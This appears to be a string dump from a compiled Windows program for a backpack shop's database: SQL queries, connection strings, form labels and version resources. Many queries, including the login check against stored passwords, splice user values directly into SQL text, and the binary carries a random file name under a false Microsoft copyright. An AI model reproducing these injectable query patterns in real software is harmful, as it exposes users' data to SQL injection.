Insert into HoaDon(MaHD,MaNV,MaKH,NgayKhoiTao,MaKhuyenMai,GiamTru,GhiChu,ThanhTien) values (@MaHD,@MaNV,@MaKH,@NgayKhoiTao,@MaKhuyenMai,@GiamTru,@GhiChu,@ThanhTien)
@NgayKhoiTao
@GhiChu
@ThanhTien
SELECT MaHD,MaNV,KhachHang.MaKH as MaKhachHang,TenKH,SDT,HoaDon.NgayKhoiTao as NgayKhoiTao,TenKhuyenMai,GiamTru,GhiChu,ThanhTien FROM HoaDon,KhuyenMai,KhachHang WHERE HoaDon.MaKH = '{0}' AND KhuyenMai.MaKhuyenMai = HoaDon.MaKhuyenMai AND HoaDon.MaKH = KhachHang.MaKH ORDER BY HoaDon.NgayKhoiTao DESC
SELECT MaHD,MaNV,HoaDon.MaKH as MaKhachHang,TenKH,SDT,HoaDon.NgayKhoiTao as NgayKhoiTao,TenKhuyenMai,GiamTru,GhiChu,ThanhTien FROM HoaDon,KhuyenMai,KhachHang WHERE HoaDon.MaHD = '{0}' AND KhuyenMai.MaKhuyenMai = HoaDon.MaKhuyenMai AND KhachHang.MaKH = HoaDon.MaKH ORDER BY HoaDon.NgayKhoiTao DESC
Select sp.MaDanhMuc as MaDanhMuc,TenDanhMuc,Url, sp.MaSP as MaSP, TenSP, MauSac, ThuongHieu, ChongNuoc, TrongLuong, ChatLieu, GiaVon, GiaBanLe, cthd.SoLuong as SoLuong, cthd.GiamTru as GiamTru, cthd.TongTien as TongTien from HoaDon as hd, ChiTietHoaDon as cthd, SanPham as sp, ChiTietSanPham as ctsp, HinhAnh as ha, DanhMuc as dm where hd.NgayKhoiTao >= '{0}' AND hd.NgayKhoiTao <= dateadd(day,1,'{1}') AND hd.MaHD = cthd.MaHD AND cthd.MaCTSP = ctsp.MaCTSP AND ctsp.MaSP = sp.MaSP AND ctsp.MaHinhAnh = ha.MaHinhAnh AND dm.MaDanhMuc = sp.MaDanhMuc ORDER BY hd.NgayKhoiTao DESC
Insert into KhachHang (MaKH,TenKH,SDT,NgayKhoiTao) values (@MaKH,@TenKH,@SDT,@NgayKhoiTao)
@TenKH
Select * from KhachHang where SDT = '{0}' AND TrangThai = 1
Select * from KhuyenMai where TrangThai = 1 AND ApDungHD = 0
Select * from KhuyenMai where TrangThai = 1
Select * from KhuyenMai where MaKhuyenMai = {0}
TenKhuyenMai
NgayBatDau
NgayKetThuc
Select * from KhuyenMai where TrangThai = 1 AND ApDungHD = 1
MaKhuyenMai
Insert into KhuyenMai(NgayBatDau,NgayKetThuc,ApDungHD,TenKhuyenMai,MoTa) values (@NgayBatDau,@NgayKetThuc,@ApDungHD,@TenKhuyenMai,@MoTa) SELECT CAST(scope_identity() AS int)
@NgayBatDau
@NgayKetThuc
@ApDungHD
@TenKhuyenMai
UPDATE KhuyenMai Set NgayBatDau = @NgayBatDau, NgayKetThuc = @NgayKetThuc, ApDungHD = @ApDungHD, TenKhuyenMai = @TenKhuyenMai, MoTa = @MoTa where MaKhuyenMai = @MaKhuyenMai
UPDATE KhuyenMai set TrangThai = 0 where MaKhuyenMai = '{0}'
SELECT NhaCungCap.*,HinhAnh.Url FROM NhaCungCap,HinhAnh WHERE NhaCungCap.TrangThai = 1 AND NhaCungCap.MaHinhAnh = HinhAnh.MaHinhAnh
select count(TenNhaCungCap) from NhaCungCap where TenNhaCungCap = '{0}'
INSERT INTO NhaCungCap(MaNhaCungCap,TenNhaCungCap,MaHinhAnh,SoDienThoai,DiaChi,TrangThai) VALUES (@MaNhaCungCap, @TenNhaCungCap, @MaHinhAnh, @SoDienThoai, @DiaChi, @TrangThai)
@MaNhaCungCap
@TenNhaCungCap
@SoDienThoai
@DiaChi
UPDATE NhaCungCap SET TenNhaCungCap = @TenNhaCungCap, MaHinhAnh = @MaHinhAnh, SoDienThoai = @SoDienThoai, DiaChi = @DiaChi WHERE MaNhaCungCap = @MaNhaCungCap
UPDATE NhaCungCap Set TrangThai = 0 WHERE MaNhaCungCap = '{0}'
SELECT HoTen,NgaySinh,DiaChi,QueQuan,SoDienThoai,NgayKhoiTao,Url,MoTa from NhanVien,HinhAnh,TaiKhoan,PhanLoaiTaiKhoan where NhanVien.MaHinhAnh = HinhAnh.MaHinhAnh AND NhanVien.MaNV = TaiKhoan.MaNV and TaiKhoan.MaPhanLoaiTK = PhanLoaiTaiKhoan.MaPhanLoaiTK
Insert into NhanVien (MaNV,HoTen,NgaySinh,QueQuan,DiaChi,SoDienThoai,TrangThai,NgayKhoiTao,MaHinhAnh) values (@MaNV,@HoTen,@NgaySinh,@QueQuan,@DiaChi,@SoDienThoai,@TrangThai,@NgayKhoiTao,@MaHinhAnh)
@HoTen
@NgaySinh
@QueQuan
Select * from NhanVien,HinhAnh where MaNV = '{0}' AND NhanVien.MaHinhAnh = HinhAnh.MaHinhAnh
QueQuan
SoDienThoai
DiaChi
NgaySinh
NgayKhoiTao
UPDATE NhanVien SET HoTen = @HoTen, NgaySinh = @NgaySinh, QueQuan = @QueQuan, DiaChi = @DiaChi, SoDienThoai = @SoDienThoai, MaHinhAnh = @MaHinhAnh where MaNV = @MaNV
Select * from PhanLoaiTaiKhoan
Select * from PhanLoaiTaiKhoan where MaPhanLoaiTK = {0}
MaPhanLoaiTK
INSERT INTO PhieuNhapKho(MaPhieuNhapKho, MaNV, GhiChu, NgayKhoiTao, TrangThai, MaNhaCungCap) VALUES(@MaPhieuNhapKho, @MaNV, @GhiChu, @NgayKhoiTao, @TrangThai, @MaNhaCungCap)
Select MaPhieuNhapKho, HoTen, PhieuNhapKho.NgayKhoiTao as NgayKhoiTao,GhiChu, TenNhaCungCap from PhieuNhapKho,NhanVien,NhaCungCap where PhieuNhapKho.MaNV = NhanVien.MaNV AND PhieuNhapKho.MaNhaCungCap = NhaCungCap.MaNhaCungCap AND PhieuNhapKho.NgayKhoiTao >= '{0}' AND PhieuNhapKho.NgayKhoiTao <= dateadd(day,1,'{1}') ORDER BY PhieuNhapKho.NgayKhoiTao DESC
SELECT SanPham.*,TenDanhMuc ,ChiTietSanPham.MaCTSP, ChiTietSanPham.MauSac, ChiTietSanPham.TrangThai, ChiTietSanPham.SoLuong, HinhAnh.Url,TenKhuyenMai FROM SanPham, DanhMuc, ChiTietSanPham, HinhAnh,KhuyenMai WHERE SanPham.MaKhuyenMai = KhuyenMai.MaKhuyenMai AND SanPham.MaDanhMuc = DanhMuc.MaDanhMuc AND ChiTietSanPham.MaSP = SanPham.MaSP AND ChiTietSanPham.MaHinhAnh = HinhAnh.MaHinhAnh AND ChiTietSanPham.TrangThai = 1 AND ChiTietSanPham.SoLuong>0 order by SanPham.TenSP
SELECT SanPham.*,TenDanhMuc ,ChiTietSanPham.MaCTSP, ChiTietSanPham.MauSac, ChiTietSanPham.TrangThai, ChiTietSanPham.SoLuong, HinhAnh.Url,TenKhuyenMai FROM SanPham, DanhMuc, ChiTietSanPham, HinhAnh, KhuyenMai WHERE SanPham.MaKhuyenMai = KhuyenMai.MaKhuyenMai AND SanPham.MaDanhMuc = DanhMuc.MaDanhMuc AND ChiTietSanPham.MaSP = SanPham.MaSP AND ChiTietSanPham.MaHinhAnh = HinhAnh.MaHinhAnh AND ChiTietSanPham.TrangThai = 1 AND ChiTietSanPham.SoLuong = 0 order by SanPham.TenSP
SELECT SanPham.*,TenDanhMuc ,ChiTietSanPham.MaCTSP, ChiTietSanPham.MauSac, ChiTietSanPham.TrangThai, ChiTietSanPham.SoLuong, HinhAnh.Url,TenKhuyenMai FROM SanPham, DanhMuc, ChiTietSanPham, HinhAnh,KhuyenMai WHERE SanPham.MaKhuyenMai = KhuyenMai.MaKhuyenMai AND SanPham.MaDanhMuc = DanhMuc.MaDanhMuc AND ChiTietSanPham.MaSP = SanPham.MaSP AND ChiTietSanPham.MaHinhAnh = HinhAnh.MaHinhAnh AND ChiTietSanPham.TrangThai = 1 order by SanPham.TenSP
SELECT SanPham.*,TenDanhMuc ,ChiTietSanPham.MaCTSP, ChiTietSanPham.MauSac, ChiTietSanPham.TrangThai, ChiTietSanPham.SoLuong, HinhAnh.Url,TenKhuyenMai FROM SanPham, DanhMuc, ChiTietSanPham, HinhAnh,KhuyenMai WHERE SanPham.MaKhuyenMai = KhuyenMai.MaKhuyenMai AND SanPham.MaDanhMuc = DanhMuc.MaDanhMuc AND ChiTietSanPham.MaSP = SanPham.MaSP AND ChiTietSanPham.MaHinhAnh = HinhAnh.MaHinhAnh AND ChiTietSanPham.TrangThai = 0 order by SanPham.TenSP
SELECT SanPham.*,DanhMuc.*,ChiTietSanPham.*,HinhAnh.Url,HinhAnh.MaHinhAnh FROM SanPham, DanhMuc, ChiTietSanPham, HinhAnh WHERE SanPham.MaDanhMuc = DanhMuc.MaDanhMuc AND ChiTietSanPham.MaSP = SanPham.MaSP AND ChiTietSanPham.MaHinhAnh = HinhAnh.MaHinhAnh AND SanPham.MaSP='{0}' AND ChiTietSanPham.MaCTSP ='{1}'
SELECT * FROM DanhMuc
UPDATE ChiTietSanPham SET TrangThai = 0 WHERE MaCTSP ='{0}'
UPDATE SanPham SET TenSP = @TenSP , ThuongHieu = @ThuongHieu, ChatLieu = @ChatLieu, GiaVon = @GiaVon, GiaBanLe = @GiaBanLe, ChongNuoc = @ChongNuoc, TrongLuong = @TrongLuong, MaDanhMuc = @MaDanhMuc, SoNamBH = @SoNamBH WHERE MaSP = @MaSP
@TenSP
@ThuongHieu
@ChatLieu
@GiaVon
@GiaBanLe
@ChongNuoc
@TrongLuong
@SoNamBH
UPDATE ChiTietSanPham SET MauSac = @MauSac, SoLuong = @SoLuong, MaHinhAnh = @MaHinhAnh WHERE MaCTSP = @MaCTSP
INSERT INTO SanPham(MaSP,TenSP,ThuongHieu,ChatLieu,GiaVon,GiaBanLe,ChongNuoc,TrongLuong,MaDanhMuc,MaKhuyenMai,SoNamBH) VALUES(@MaSP,@TenSP,@ThuongHieu,@ChatLieu,@GiaVon,@GiaBanLe,@ChongNuoc,@TrongLuong,@MaDanhMuc,4,@SoNamBH)
Select * from SanPham where MaSP = '{0}'
ChatLieu
ChongNuoc
GiaBanLe
GiaVon
MaDanhMuc
SoNamBH
ThuongHieu
TrongLuong
SELECT * FROM SanPham,DanhMuc,ChiTietSanPham where SanPham.MaDanhMuc = DanhMuc.MaDanhMuc AND SanPham.MaSP = ChiTietSanPham.MaSP AND ChiTietSanPham.TrangThai = 1
SELECT count(TenSP) FROM SanPham WHERE MaSP = N'{0}'
SELECT count(TenSP) FROM SanPham WHERE TenSP = N'{0}'
Update SanPham set MaKhuyenMai = {0}
Update SanPham set MaKhuyenMai = {0} where MaKhuyenMai = {1}
Update SanPham set MaKhuyenMai = {0} where MaSP = '{1}'
Select * from SanPham as sp,KhuyenMai as km where sp.MaKhuyenMai = km.MaKhuyenMai AND sp.MaKhuyenMai != 4 AND km.NgayKetThuc <= '{0}'
yyyy-MM-dd
Select DISTINCT ThuongHieu from SanPham ORDER BY ThuongHieu
Select DISTINCT ChatLieu from SanPham ORDER BY ChatLieu
Select DISTINCT TenSP from SanPham ORDER BY TenSP
Insert into TaiKhoan (TenTaiKhoan,MatKhau,TrangThai,MaPhanLoaiTK,MaNV) values (@TenTaiKhoan,@MatKhau,@TrangThai,@MaPhanLoaiTK,@MaNV)
@TenTaiKhoan
@MatKhau
@MaPhanLoaiTK
Select * from TaiKhoan where MaNV = '{0}' AND TrangThai=1
TenTaiKhoan
MatKhau
LastLogon
Select * from TaiKhoan where TenTaiKhoan = '{0}' AND MatKhau = '{1}'
select count(*) from TaiKhoan where TenTaiKhoan = '{0}'
Update TaiKhoan Set LastLogon = '{0}' where MaNV = '{1}'
Select Url,NhanVien.MaNV as MaNV,HoTen,NgaySinh,QueQuan,DiaChi,NgayKhoiTao,LastLogon,TenTaiKhoan,MatKhau,PhanLoaiTaiKhoan.MoTa as MoTa,TaiKhoan.TrangThai as TrangThai from TaiKhoan, NhanVien, HinhAnh, PhanLoaiTaiKhoan where TaiKhoan.MaNV = NhanVien.MaNV AND NhanVien.MaHinhAnh = HinhAnh.MaHinhAnh AND TaiKhoan.MaPhanLoaiTK = PhanLoaiTaiKhoan.MaPhanLoaiTK AND TaiKhoan.TrangThai = 1
UPDATE TaiKhoan SET TrangThai = 0 WHERE TenTaiKhoan ='{0}'
UPDATE TaiKhoan SET MatKhau = @MatKhau where TenTaiKhoan = @TenTaiKhoan
Data Source=.\SQLExpress;Initial Catalog=db_baloshop;Integrated Security=True
Data Source=(LocalDB)\MSSQLLocalDB;AttachDbFilename=
\data\db_baloshop.mdf;Integrated Security=True; Connect Timeout = 30
images/
data/avatar/
data/icon/
data/product/
About {0}
Version {0}
tableLayoutPanel
logoPictureBox.Image
logoPictureBox
labelProductName
Product Name
labelVersion
Version
labelCopyright
Copyright
labelCompanyName
Company Name
textBoxDescription
Description
okButton
AboutBox1
Cars in stock
Microsoft Sans Serif
listBox1
textBox1
textBox2
textBox3
textBox4
CarsInStock
{0} {1}
4A73637651
65636C
DTO_Minor
Show Cars in Stock
btnOpenCarsInStock
button1
button2
button3
button4
CreateI
nstance
button5
DTO_Minor.Properties.Resources
logoPictureBox.Image
VS_VERSION_INFO
VarFileInfo
Translation
StringFileInfo
000004b0
Comments
CompanyName
Microsoft
FileDescription
FileVersion
1.0.0.0
InternalName
JGZaI.exe
LegalCopyright
Copyright
Microsoft 2023
LegalTrademarks
OriginalFilename
JGZaI.exe
ProductName
ProductVersion
1.0.0.0
Assembly Version
1.0.0.0